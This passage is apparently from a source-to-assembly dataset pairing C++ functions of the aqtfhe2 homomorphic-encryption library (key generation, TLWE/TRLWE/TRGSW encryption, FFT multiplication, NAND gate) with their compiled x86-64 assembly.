    nd_array<bool, N> ret;
    std::binomial_distribution<int> binary;
    for (bool& v : ret)
        v = binary(rand);
    return ret;
}

// Assembly:
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $0x98, %rsp
leaq 0x8(%rsp), %r15
movq %rdi, %rbx
movq %rsi, %r14
movq %r15, %rdi
callq 0x4dc0
xorl %r12d, %r12d
cmpq $0x3e8, %r12            # imm = 0x3E8
je 0x285b
movq %r15, %rdi
movq %r14, %rsi
callq 0x4dd0
testl %eax, %eax
setne (%rbx,%r12)
incq %r12
jmp 0x283b
movq %rbx, %rax
addq $0x98, %rsp
popq %rbx
popq %r12
popq %r14
popq %r15
retq
nop
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::secret_key<aqtfhe2::params::CGGI16> aqtfhe2::secret_key<aqtfhe2::params::CGGI16>::make<std::random_device>(std::random_device&)
static secret_key make(RandomEngine &rand)
    {
        std::binomial_distribution<uint32_t> binary;

        container_key_lvl0 key_lvl0;
        for (uint32_t &v : key_lvl0)
            v = binary(rand);

        container_key_lvl1 key_lvl1;
        for (uint32_t &v : key_lvl1)
            v = binary(rand);

        return secret_key{std::move(key_lvl0), std::move(key_lvl1)};
    }

// Assembly:
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $0x1868, %rsp           # imm = 0x1868
leaq 0x8(%rsp), %r15
movq %rdi, %rbx
movq %rsi, %r14
movq %r15, %rdi
callq 0x2b96
xorl %r12d, %r12d
cmpq $0x7d0, %r12            # imm = 0x7D0
je 0x290a
movq %r15, %rdi
movq %r14, %rsi
callq 0x2ba6
movl %eax, 0x98(%rsp,%r12)
addq $0x4, %r12
jmp 0x28e8
leaq 0x8(%rsp), %r15
xorl %r12d, %r12d
cmpq $0x1000, %r12           # imm = 0x1000
je 0x2934
movq %r15, %rdi
movq %r14, %rsi
callq 0x2ba6
movl %eax, 0x868(%rsp,%r12)
addq $0x4, %r12
jmp 0x2912
leaq 0x98(%rsp), %rsi
movl $0x7d0, %edx            # imm = 0x7D0
movq %rbx, %rdi
callq 0x2140
movq %rbx, %rdi
addq $0x7d0, %rdi            # imm = 0x7D0
leaq 0x868(%rsp), %rsi
movl $0x1000, %edx           # imm = 0x1000
callq 0x2140
movq %rbx, %rax
addq $0x1868, %rsp           # imm = 0x1868
popq %rbx
popq %r12
popq %r14
popq %r15
retq
nop
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::cloud_key<aqtfhe2::params::CGGI16>::cloud_key<std::random_device>(std::random_device&, aqtfhe2::detail::nd_array<unsigned int, 500ul> const&, aqtfhe2::detail::nd_array<unsigned int, 1024ul> const&)
cloud_key(RandomEngine &rand,
              const typename secret_key<P>::container_key_lvl0 &key_lvl0,
              const typename secret_key<P>::container_key_lvl1 &key_lvl1)
        : ksk_(std::make_unique<key_switching_key<P>>(rand, key_lvl0, key_lvl1))
    {
        // Fill bkfftlvl01_
        bkfftlvl01_.reserve(P::n());
        for (size_t i = 0; i < P::n(); i++) {
            bkfftlvl01_.push_back(trgswfft_lvl1<P>::sym_encrypt(
                rand, key_lvl1, P::alphabk(),
                static_cast<uint32_t>(key_lvl0[i])));
        }
    }

// Assembly:
pushq %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x10008, %rsp          # imm = 0x10008
movq %rcx, %r15
movq %rdx, %r12
movq %rsi, %r13
movq %rdi, %rbx
callq 0x364d
andq $0x0, 0x18(%rbx)
leaq 0x8(%rbx), %r14
vxorps %xmm0, %xmm0, %xmm0
movq %rbx, (%rsp)
vmovups %xmm0, 0x8(%rbx)
movl $0x1f4, %esi            # imm = 0x1F4
movq %r14, %rdi
callq 0x36a8
leaq 0x8(%rsp), %rbp
xorl %ebx, %ebx
cmpq $0x1f4, %rbx            # imm = 0x1F4
je 0x361d
movl (%r12,%rbx,4), %ecx
vmovsd 0x4a89(%rip), %xmm0     # 0x8088
movq %rbp, %rdi
movq %r13, %rsi
movq %r15, %rdx
callq 0x3774
movq %r14, %rdi
movq %rbp, %rsi
callq 0x3b24
incq %rbx
jmp 0x35ea
addq $0x10008, %rsp          # imm = 0x10008
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
jmp 0x3631
movq %r14, %rdi
movq %rax, %r15
callq 0x4da2
movq (%rsp), %rdi
callq 0x38e6
movq %r15, %rdi
callq 0x21d0
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::trgswfft_lvl1<aqtfhe2::params::CGGI19> aqtfhe2::trgswfft_lvl1<aqtfhe2::params::CGGI19>::sym_encrypt<std::random_device>(std::random_device&, aqtfhe2::detail::nd_array<unsigned int, 1024ul> const&, double, unsigned int)
trgswfft_lvl1<P> trgswfft_lvl1<P>::sym_encrypt(
    RandomEngine &rand,
    const typename secret_key<P>::container_key_lvl1 &key_lvl1, double alpha,
    uint32_t plain)
{
    // trgsw sym encrypt
    // FIXME: more efficient implementation?
    std::vector<trlwe_lvl1<P>> trgsw;
    trgsw.reserve(2 * P::l());
    for (size_t i = 0; i < 2 * P::l(); i++)
        trgsw.push_back(trlwe_lvl1<P>::sym_encrypt_zero(rand, key_lvl1, alpha));
    for (uint32_t i = 0; i < P::l(); i++) {
        uint32_t h = 1U << (32 - (i + 1) * P::Bgbit());
        trgsw[i].poly0_[0] += plain * h;
        trgsw[i + P::l()].poly1_[0] += plain * h;
    }

    // trgswfft sym encrypt
    thread_local detail::fft_processor<P::N()> fftproc;
    container trgswfft;
    for (uint32_t i = 0; i < 2 * P::l(); i++) {
        fftproc.twist_ifft_lvl1(trgswfft.slice(i, 0), trgsw[i].poly0_.slice());
        fftproc.twist_ifft_lvl1(trgswfft.slice(i, 1), trgsw[i].poly1_.slice());
    }

    return trgswfft_lvl1{std::move(trgswfft)};
}

// Assembly:
pushq %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x18028, %rsp          # imm = 0x18028
movq %rdi, 0x18(%rsp)
movq %rsp, %rdi
andq $0x0, 0x10(%rdi)
vmovsd %xmm0, 0x20(%rsp)
vxorps %xmm0, %xmm0, %xmm0
movl %ecx, %ebp
movq %rdx, %r15
movq %rsi, %r12
vmovaps %xmm0, (%rdi)
pushq $0x6
popq %r13
movq %r13, %rsi
callq 0x687e
leaq 0x28(%rsp), %r14
movq %rsp, %rbx
subq $0x1, %r13
jb 0x63e5
vmovsd 0x20(%rsp), %xmm0
movq %r14, %rdi
movq %r12, %rsi
movq %r15, %rdx
callq 0x694a
movq %rbx, %rdi
movq %r14, %rsi
callq 0x6a9a
jmp 0x63be
pushq $0x1a
popq %rax
movq (%rsp), %rcx
xorl %edx, %edx
cmpq $0x6000, %rdx           # imm = 0x6000
je 0x6412
shlxl %eax, %ebp, %esi
addl $-0x6, %eax
addl %esi, (%rcx,%rdx)
addl %esi, 0x7000(%rcx,%rdx)
addq $0x2000, %rdx           # imm = 0x2000
jmp 0x63ee
cmpb $0x0, %fs:-0x10018
je 0x64b0
movq %fs:0x0, %rax
movl $0x1000, %ebx           # imm = 0x1000
leaq -0x18018(%rax), %r15
cmpq $0xd000, %rbx           # imm = 0xD000
je 0x647c
movq (%rsp), %rax
leaq -0x1000(%rax,%rbx), %rdx
movq %r15, %rdi
movq %r14, %rsi
callq 0x40d2
movq (%rsp), %rdx
leaq 0x2000(%r14), %rsi
addq %rbx, %rdx
movq %r15, %rdi
callq 0x40d2
addq $0x2000, %rbx           # imm = 0x2000
addq $0x4000, %r14           # imm = 0x4000
jmp 0x6436
movq 0x18(%rsp), %rbx
leaq 0x28(%rsp), %rsi
movl $0x18000, %edx          # imm = 0x18000
movq %rbx, %rdi
callq 0x2140
movq %rsp, %rdi
callq 0x6cf2
movq %rbx, %rax
addq $0x18028, %rsp          # imm = 0x18028
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
movq %fs:0x0, %rax
leaq -0x18018(%rax), %rdi
callq 0x3e90
movb $0x1, %fs:-0x10018
jmp 0x6421
jmp 0x64d7
jmp 0x64d7
movq %rsp, %rdi
movq %rax, %rbx
callq 0x6cf2
movq %rbx, %rdi
callq 0x21d0
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::key_switching_key<aqtfhe2::params::CGGI16>::key_switching_key<std::random_device>(std::random_device&, aqtfhe2::detail::nd_array<unsigned int, 500ul> const&, aqtfhe2::detail::nd_array<unsigned int, 1024ul> const&)
key_switching_key<P>::key_switching_key(
    RandomEngine &rand,
    const typename secret_key<P>::container_key_lvl0 &key_lvl0,
    const typename secret_key<P>::container_key_lvl1 &key_lvl1)
{
    for (size_t i = 0; i < P::N(); i++) {
        for (size_t j = 0; j < P::t(); j++) {
            for (size_t k = 0; k < (1u << P::basebit()) - 1; k++) {
                uint32_t val = key_lvl1[i] * (k + 1) *
                               (1U << (32 - (j + 1) * P::basebit()));
                tlwe_lvl0<P>::sym_encrypt(data_.slice(i, j, k), rand, key_lvl0,
                                          P::alphaks(), val);
            }
        }
    }
}

// Assembly:
pushq %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x28, %rsp
movq %rcx, 0x20(%rsp)
movq %rdx, %r14
movq %rsi, %r15
xorl %ebp, %ebp
movq %rdi, 0x8(%rsp)
cmpq $0x400, %rbp            # imm = 0x400
je 0x39b0
movq 0x8(%rsp), %r13
xorl %eax, %eax
cmpq $0x8, %rax
je 0x399f
leaq (%rax,%rax), %r12
movq %rax, 0x10(%rsp)
movq %r13, 0x18(%rsp)
xorq $0x1e, %r12
pushq $0x1
popq %rbx
cmpq $0x4, %rbx
je 0x3989
movq 0x20(%rsp), %rax
vmovsd 0x472c(%rip), %xmm0     # 0x8090
movq %r13, %rdi
movq %r15, %rsi
movq %r14, %rdx
movl (%rax,%rbp,4), %eax
imull %ebx, %eax
shlxq %r12, %rax, %rcx
callq 0x39c0
incq %rbx
addq $0x7d4, %r13            # imm = 0x7D4
jmp 0x3951
movq 0x10(%rsp), %rax
movq 0x18(%rsp), %r13
incq %rax
addq $0x177c, %r13           # imm = 0x177C
jmp 0x3936
addq $0xbbe0, 0x8(%rsp)      # imm = 0xBBE0
incq %rbp
jmp 0x3922
addq $0x28, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
nop
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: void aqtfhe2::tlwe_lvl0<aqtfhe2::params::CGGI16>::sym_encrypt<std::random_device>(aqtfhe2::detail::array_slice<unsigned int, 501ul>, std::random_device&, aqtfhe2::detail::nd_array<unsigned int, 500ul> const&, double, unsigned int)
static void sym_encrypt(
        detail::array_slice<uint32_t, P::n() + 1> out, RandomEngine &rand,
        const typename secret_key<P>::container_key_lvl0 &key, double alpha,
        uint32_t plain)
    {
        std::uniform_int_distribution<uint32_t> torus(
            0, std::numeric_limits<uint32_t>::max());
        std::normal_distribution<double> gaussian(0.0, alpha);

        out[P::n()] = plain + detail::double2torus32(gaussian(rand));
        for (size_t i = 0; i < P::n(); i++) {
            out[i] = torus(rand);
            out[P::n()] += out[i] * key[i];
        }
    }

// Assembly:
pushq %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x28, %rsp
movq %rdi, %r15
leaq 0x8(%rsp), %rdi
movabsq $-0x100000000, %rax     # imm = 0xFFFFFFFF00000000
movq %rsp, %r12
movl %ecx, %ebp
movq %rdx, %rbx
movq %rsi, %r14
andq $0x0, (%rdi)
vmovsd %xmm0, 0x8(%rdi)
andq $0x0, 0x10(%rdi)
movq %rax, (%r12)
movb $0x0, 0x18(%rdi)
callq 0x3338
vroundsd $0x9, %xmm0, %xmm0, %xmm1
xorl %r13d, %r13d
vsubsd %xmm1, %xmm0, %xmm0
vmulsd 0x467d(%rip), %xmm0, %xmm0 # 0x8098
vcvttsd2usi %xmm0, %eax
addl %ebp, %eax
movl %eax, 0x7d0(%r15)
cmpq $0x1f4, %r13            # imm = 0x1F4
je 0x3a53
movq %r12, %rdi
movq %r14, %rsi
callq 0x3a62
movl %eax, (%r15,%r13,4)
imull (%rbx,%r13,4), %eax
incq %r13
addl %eax, 0x7d0(%r15)
jmp 0x3a2a
addq $0x28, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::trlwe_lvl1<aqtfhe2::params::CGGI16> aqtfhe2::trlwe_lvl1<aqtfhe2::params::CGGI16>::sym_encrypt_zero<std::random_device>(std::random_device&, aqtfhe2::detail::nd_array<unsigned int, 1024ul> const&, double)
static trlwe_lvl1 sym_encrypt_zero(
        RandomEngine &rand,
        const typename secret_key<P>::container_key_lvl1 &key, double alpha)
    {
        std::uniform_int_distribution<uint32_t> torus(
            0, std::numeric_limits<uint32_t>::max());
        std::normal_distribution<double> gaussian(0.0, alpha);

        container poly0;
        for (uint32_t &v : poly0)
            v = torus(rand);

        container poly1 = poly_mul_lvl1(poly0, key);
        for (uint32_t &v : poly1)
            v += detail::double2torus32(gaussian(rand));

        return trlwe_lvl1{poly0, poly1};
    }

// Assembly:
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x2030, %rsp           # imm = 0x2030
andq $0x0, 0x8(%rsp)
vmovsd %xmm0, 0x10(%rsp)
andq $0x0, 0x18(%rsp)
movabsq $-0x100000000, %rax     # imm = 0xFFFFFFFF00000000
leaq 0x28(%rsp), %r12
movq %rdx, %r15
movq %rsi, %r14
movq %rdi, %rbx
xorl %r13d, %r13d
movb $0x0, 0x20(%rsp)
movq %rax, (%r12)
cmpq $0x1000, %r13           # imm = 0x1000
je 0x3dfa
movq %r12, %rdi
movq %r14, %rsi
callq 0x3a62
movl %eax, 0x1030(%rsp,%r13)
addq $0x4, %r13
jmp 0x3dd8
leaq 0x30(%rsp), %rdi
leaq 0x1030(%rsp), %rsi
movq %r15, %rdx
callq 0x4314
leaq 0x8(%rsp), %r15
xorl %r12d, %r12d
cmpq $0x1000, %r12           # imm = 0x1000
je 0x3e4e
movq %r15, %rdi
movq %r14, %rsi
callq 0x3338
vroundsd $0x9, %xmm0, %xmm0, %xmm1
vsubsd %xmm1, %xmm0, %xmm0
vmulsd 0x425b(%rip), %xmm0, %xmm0 # 0x8098
vcvttsd2usi %xmm0, %eax
addl %eax, 0x30(%rsp,%r12)
addq $0x4, %r12
jmp 0x3e17
leaq 0x1030(%rsp), %rsi
movl $0x1000, %edx           # imm = 0x1000
movq %rbx, %rdi
callq 0x2140
movq %rbx, %rdi
addq $0x1000, %rdi           # imm = 0x1000
leaq 0x30(%rsp), %rsi
movl $0x1000, %edx           # imm = 0x1000
callq 0x2140
movq %rbx, %rax
addq $0x2030, %rsp           # imm = 0x2030
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
retq
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::detail::fft_processor<1024ul>::twist_ifft_lvl1(aqtfhe2::detail::array_slice<double, 1024ul>, aqtfhe2::detail::const_array_slice<unsigned int, 1024ul>)
void twist_ifft_lvl1(array_slice<double, N> out,
                         const_array_slice<uint32_t, N> a)
    {
        nd_array<double, N> tmp;
        for (size_t i = 0; i < N; i++)
            tmp[i] = static_cast<int32_t>(a[i]);
        ifft(tmp.slice());
        for (size_t i = 0; i < N; i++)
            out[i] = tmp[i];
    }

// Assembly:
pushq %rbx
subq $0x2000, %rsp           # imm = 0x2000
movq %rsi, %rbx
xorl %eax, %eax
cmpq $0x400, %rax            # imm = 0x400
je 0x40f6
vcvtsi2sdl (%rdx,%rax,4), %xmm1, %xmm0
vmovsd %xmm0, (%rsp,%rax,8)
incq %rax
jmp 0x40df
movq %rsp, %rsi
callq 0x49ce
xorl %eax, %eax
cmpq $0x400, %rax            # imm = 0x400
je 0x4117
vmovsd (%rsp,%rax,8), %xmm0
vmovsd %xmm0, (%rbx,%rax,8)
incq %rax
jmp 0x4100
addq $0x2000, %rsp           # imm = 0x2000
popq %rbx
retq
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::trlwe_lvl1<aqtfhe2::params::CGGI16>::poly_mul_lvl1(aqtfhe2::detail::nd_array<unsigned int, 1024ul> const&, aqtfhe2::detail::nd_array<unsigned int, 1024ul> const&)
static container poly_mul_lvl1(const container &a, const container &b)
    {
        thread_local detail::fft_processor<P::N()> fftproc;
        const detail::nd_array<double, P::N()> ffta =
                                                   fftproc.twist_ifft_lvl1(a),
                                               fftb =
                                                   fftproc.twist_ifft_lvl1(b);
        return fftproc.twist_fft_lvl1(
            detail::mul_in_fd(ffta.slice(), fftb.slice()));
    }

// Assembly:
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x6000, %rsp           # imm = 0x6000
cmpb $0x0, %fs:-0x20028
movq %rdx, %r14
movq %rsi, %r15
movq %rdi, %rbx
je 0x43a7
movq %fs:0x0, %rax
leaq 0x4000(%rsp), %r13
movq %r15, %rdx
movq %r13, %rsi
leaq -0x28028(%rax), %r12
movq %r12, %rdi
callq 0x40d2
leaq 0x2000(%rsp), %r15
movq %r12, %rdi
movq %r14, %rdx
movq %r15, %rsi
callq 0x40d2
movq %rsp, %r14
movq %r14, %rdi
movq %r13, %rsi
movq %r15, %rdx
callq 0x43ca
movq %r12, %rdi
movq %rbx, %rsi
movq %r14, %rdx
callq 0x4428
movq %rbx, %rax
addq $0x6000, %rsp           # imm = 0x6000
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
retq
movq %fs:0x0, %rax
leaq -0x28028(%rax), %rdi
callq 0x3e90
movb $0x1, %fs:-0x20028
jmp 0x4338
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::detail::nd_array<double, 1024ul> aqtfhe2::detail::mul_in_fd<1024ul>(aqtfhe2::detail::const_array_slice<double, 1024ul>, aqtfhe2::detail::const_array_slice<double, 1024ul>)
inline nd_array<double, N> mul_in_fd(const_array_slice<double, N> a,
                                     const_array_slice<double, N> b)
{
    nd_array<double, N> ret;
    for (size_t i = 0; i < N / 2; i++) {
        double aimbim = a[i + N / 2] * b[i + N / 2];
        double arebim = a[i] * b[i + N / 2];
        ret[i] = a[i] * b[i] - aimbim;
        ret[i + N / 2] = a[i + N / 2] * b[i] + arebim;
    }
    return ret;
}

// Assembly:
movq $-0x1000, %rcx          # imm = 0xF000
movq %rdi, %rax
testq %rcx, %rcx
je 0x4427
vmovsd 0x2000(%rsi,%rcx), %xmm0
vmovsd 0x2000(%rdx,%rcx), %xmm1
vmovsd 0x1000(%rsi,%rcx), %xmm3
vmovsd 0x1000(%rdx,%rcx), %xmm4
vmulsd %xmm0, %xmm1, %xmm2
vmulsd %xmm1, %xmm3, %xmm1
vfmsub231sd %xmm3, %xmm4, %xmm2 # xmm2 = (xmm4 * xmm3) - xmm2
vfmadd231sd %xmm0, %xmm4, %xmm1 # xmm1 = (xmm4 * xmm0) + xmm1
vmovsd %xmm2, 0x1000(%rax,%rcx)
vmovsd %xmm1, 0x2000(%rax,%rcx)
addq $0x8, %rcx
jmp 0x43d4
retq
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::detail::fft_processor<1024ul>::twist_fft_lvl1(aqtfhe2::detail::array_slice<unsigned int, 1024ul>, aqtfhe2::detail::const_array_slice<double, 1024ul>)
void twist_fft_lvl1(array_slice<uint32_t, N> out,
                        const_array_slice<double, N> a)
    {
        nd_array<double, N> tmp;
        for (size_t i = 0; i < N; i++)
            tmp[i] = a[i] * (2.0 / N);
        fft(tmp.slice());
        for (size_t i = 0; i < N; i++)
            out[i] = static_cast<uint32_t>(static_cast<int64_t>(tmp[i]));
    }

// Assembly:
pushq %rbx
subq $0x2000, %rsp           # imm = 0x2000
vmovsd 0x3c68(%rip), %xmm0     # 0x80a0
movq %rsi, %rbx
xorl %eax, %eax
cmpq $0x400, %rax            # imm = 0x400
je 0x4454
vmulsd (%rdx,%rax,8), %xmm0, %xmm1
vmovsd %xmm1, (%rsp,%rax,8)
incq %rax
jmp 0x443d
movq %rsp, %rsi
callq 0x447e
xorl %eax, %eax
cmpq $0x400, %rax            # imm = 0x400
je 0x4474
vcvttsd2si (%rsp,%rax,8), %rcx
movl %ecx, (%rbx,%rax,4)
incq %rax
jmp 0x445e
addq $0x2000, %rsp           # imm = 0x2000
popq %rbx
retq
nop
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::detail::accurate_cos(int, int)
inline double accurate_cos(int32_t i, int32_t n)
{
    i = ((i % n) + n) % n;
    const double nd = n;
    const double pi = 3.1415926535897932384626433832795028;

    if (i >= 3 * n / 4)
        return std::cos(2. * pi * (n - i) / nd);
    if (i >= 2 * n / 4)
        return -std::cos(2. * pi * (i - n / 2) / nd);
    if (i >= 1 * n / 4)
        return -std::cos(2. * pi * (n / 2 - i) / nd);
    return std::cos(2. * pi * (i) / nd);
}

// Assembly:
pushq %rax
movl %edi, %eax
cltd
vcvtsi2sd %esi, %xmm0, %xmm0
idivl %esi
leal (%rdx,%rsi), %eax
cltd
idivl %esi
leal (%rsi,%rsi,2), %eax
movl %edx, %ecx
pushq $0x4
popq %r8
cltd
idivl %r8d
cmpl %eax, %ecx
jge 0x490d
pushq $0x2
popq %rdi
movl %esi, %eax
cltd
idivl %edi
movl %eax, %edi
subl %ecx, %edi
jle 0x4926
movl %esi, %eax
cltd
idivl %r8d
cmpl %eax, %ecx
jge 0x4936
vcvtsi2sd %ecx, %xmm1, %xmm1
jmp 0x4913
subl %ecx, %esi
vcvtsi2sd %esi, %xmm1, %xmm1
vmulsd 0x378d(%rip), %xmm1, %xmm1 # 0x80a8
vdivsd %xmm0, %xmm1, %xmm0
callq 0x2200
jmp 0x4955
pushq $-0x2
popq %rdi
movl %esi, %eax
cltd
idivl %edi
addl %eax, %ecx
vcvtsi2sd %ecx, %xmm1, %xmm1
jmp 0x493a
vcvtsi2sd %edi, %xmm1, %xmm1
vmulsd 0x3766(%rip), %xmm1, %xmm1 # 0x80a8
vdivsd %xmm0, %xmm1, %xmm0
callq 0x2200
vxorpd 0x36cb(%rip){1to2}, %xmm0, %xmm0 # 0x8020
popq %rax
retq
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::detail::accurate_sin(int, int)
inline double accurate_sin(int32_t i, int32_t n)
{
    i = ((i % n) + n) % n;
    const double nd = n;
    const double pi = 3.1415926535897932384626433832795028;

    if (i >= 3 * n / 4)
        return -sin(2. * pi * (n - i) / nd);
    if (i >= 2 * n / 4)
        return -sin(2. * pi * (i - n / 2) / nd);
    if (i >= 1 * n / 4)
        return sin(2. * pi * (n / 2 - i) / nd);
    return sin(2. * pi * (i) / nd);
}

// Assembly:
pushq %rax
movl %edi, %eax
cltd
vcvtsi2sd %esi, %xmm0, %xmm0
idivl %esi
leal (%rdx,%rsi), %eax
cltd
idivl %esi
leal (%rsi,%rsi,2), %eax
movl %edx, %ecx
pushq $0x4
popq %r8
cltd
idivl %r8d
cmpl %eax, %ecx
jge 0x4996
pushq $0x2
popq %rdi
movl %esi, %eax
cltd
idivl %edi
movl %eax, %edi
subl %ecx, %edi
jle 0x499e
movl %esi, %eax
cltd
idivl %r8d
cmpl %eax, %ecx
jge 0x49b6
vcvtsi2sd %ecx, %xmm1, %xmm1
jmp 0x49ba
subl %ecx, %esi
vcvtsi2sd %esi, %xmm1, %xmm1
jmp 0x49ac
pushq $-0x2
popq %rdi
movl %esi, %eax
cltd
idivl %edi
addl %eax, %ecx
vcvtsi2sd %ecx, %xmm1, %xmm1
vmulsd 0x36fc(%rip), %xmm1, %xmm1 # 0x80b0
jmp 0x49c2
vcvtsi2sd %edi, %xmm1, %xmm1
vmulsd 0x36e6(%rip), %xmm1, %xmm1 # 0x80a8
vdivsd %xmm0, %xmm1, %xmm0
callq 0x2040
popq %rax
retq
nop
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/./aqtfhe2.hpp
// Function: aqtfhe2::tlwe_lvl0<aqtfhe2::params::CGGI16>::nand(aqtfhe2::tlwe_lvl0<aqtfhe2::params::CGGI16> const&, std::vector<aqtfhe2::trgswfft_lvl1<aqtfhe2::params::CGGI16>, std::allocator<aqtfhe2::trgswfft_lvl1<aqtfhe2::params::CGGI16>>> const&, aqtfhe2::key_switching_key<aqtfhe2::params::CGGI16> const&) const
tlwe_lvl0 nand(const tlwe_lvl0 &rhs,
                   const std::vector<trgswfft_lvl1<P>> &bkfftlvl01,
                   const key_switching_key<P> &ksk) const
    {
        container ret;
        for (size_t i = 0; i <= P::n(); i++)
            ret[i] = -data_[i] - rhs.data_[i];
        ret[P::n()] += 1U << 29;

        return tlwe_lvl0{std::move(ret)}.gate_bootstrapping(bkfftlvl01, ksk);
    }

// Assembly:
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $0xfa8, %rsp            # imm = 0xFA8
movq %r8, %rbx
movq %rcx, %r15
movq %rdi, %r14
xorl %eax, %eax
cmpq $0x1f5, %rax            # imm = 0x1F5
je 0x5879
movl (%rsi,%rax,4), %ecx
addl (%rdx,%rax,4), %ecx
negl %ecx
movl %ecx, (%rsp,%rax,4)
incq %rax
jmp 0x5861
movq %rsp, %rsi
addl $0x20000000, 0x7d0(%rsi) # imm = 0x20000000
leaq 0x7d4(%rsp), %r12
movl $0x7d4, %edx            # imm = 0x7D4
movq %r12, %rdi
callq 0x2140
movq %r14, %rdi
movq %r12, %rsi
movq %r15, %rdx
movq %rbx, %rcx
callq 0x58be
movq %r14, %rax
addq $0xfa8, %rsp            # imm = 0xFA8
popq %rbx
popq %r12
popq %r14
popq %r15
retq